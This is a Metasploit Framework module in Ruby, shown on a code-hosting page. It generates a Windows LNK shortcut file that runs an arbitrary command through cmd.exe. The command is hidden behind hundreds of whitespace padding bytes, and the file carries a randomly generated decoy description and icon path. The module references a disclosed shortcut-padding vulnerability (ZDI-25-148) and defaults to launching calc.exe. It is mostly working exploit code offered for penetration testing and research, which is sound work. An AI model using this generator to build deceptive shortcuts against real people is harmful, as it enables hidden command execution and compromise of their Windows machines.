Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/fileformat/datablock_padding_lnk.rb
23590 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'faker'
6
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::FILEFORMAT
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Shortcut (LNK) Padding',
15
'Description' => %q{
16
This module generates Windows LNK (shortcut) file that can execute
17
arbitrary commands. The LNK file uses environment variables and execute
18
its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace
19
character padding bytes and concatenates the actual payload.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'Nafiez' ],
23
'References' => [
24
['ZDI', '25-148'],
25
['URL', 'https://zeifan.my/Windows-LNK/'],
26
['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'],
27
['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html']
28
],
29
'Platform' => 'win',
30
'Targets' => [ [ 'Windows', {} ] ],
31
'DefaultTarget' => 0,
32
'Notes' => {
33
'Stability' => [CRASH_SAFE],
34
'Reliability' => [],
35
'SideEffects' => [ARTIFACTS_ON_DISK]
36
},
37
'DisclosureDate' => '2025-07-19'
38
)
39
)
40
41
register_options([
42
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
43
OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]),
44
OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]),
45
OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ])
46
])
47
end
48
49
def run
50
datastore['FILENAME']
51
command = datastore['COMMAND']
52
description = datastore['DESCRIPTION']
53
icon_path = datastore['ICON_PATH']
54
55
description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?
56
icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'icon')}%SystemRoot%\\System32\\shell32.dll" if icon_path.blank?
57
58
buffer_size = datastore['BUFFER_SIZE']
59
60
lnk_data = generate_lnk_file(command, description, icon_path, buffer_size)
61
62
filename = file_create(lnk_data)
63
64
print_good("successfully created #{filename}")
65
print_status("command line buffer size: #{buffer_size} bytes")
66
print_status("target command: #{command}")
67
end
68
69
private
70
71
def generate_lnk_file(command, description, icon_path, buffer_size)
72
data = ''.force_encoding('ASCII-8BIT')
73
data << create_shell_link_header
74
data << create_string_data(description)
75
76
cmd_buffer = create_command_buffer(command, buffer_size)
77
78
data << create_string_data(cmd_buffer)
79
data << create_string_data(icon_path)
80
data << create_environment_block
81
82
data
83
end
84
85
def create_shell_link_header
86
header = ''.force_encoding('ASCII-8BIT')
87
header << [0x0000004C].pack('V')
88
header << [0x00021401].pack('V')
89
header << [0x0000].pack('v')
90
header << [0x0000].pack('v')
91
header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8')
92
93
link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000
94
95
header << [link_flags].pack('V')
96
header << [0x00000000].pack('V')
97
header << [0x00000000, 0x00000000].pack('VV')
98
header << [0x00000000, 0x00000000].pack('VV')
99
header << [0x00000000, 0x00000000].pack('VV')
100
header << [0].pack('V')
101
header << [0].pack('V')
102
header << [0x00000007].pack('V')
103
header << [0].pack('v')
104
header << [0].pack('v')
105
header << [0].pack('V')
106
header << [0].pack('V')
107
108
header
109
end
110
111
def create_string_data(str)
112
data = ''.force_encoding('ASCII-8BIT')
113
114
data << [str.length].pack('v')
115
116
unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')
117
data << unicode_str
118
119
data
120
end
121
122
def create_command_buffer(command, buffer_size)
123
cmd_command = "/c #{command}"
124
125
cmd_len = cmd_command.length
126
fill_bytes = buffer_size - cmd_len
127
128
buffer = ' ' * fill_bytes + cmd_command
129
130
buffer << "\x00"
131
132
buffer
133
end
134
135
def create_environment_block
136
data = ''.force_encoding('ASCII-8BIT')
137
138
block_size = 0x00000314
139
data << [block_size].pack('V')
140
141
signature = 0xA0000001
142
data << [signature].pack('V')
143
144
env_path = '%windir%\\system32\\cmd.exe'
145
146
ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT')
147
data << ansi_buffer
148
149
unicode_buffer = env_path.encode('UTF-16LE')
150
unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')
151
data << unicode_buffer
152
153
data
154
end
155
end
156
157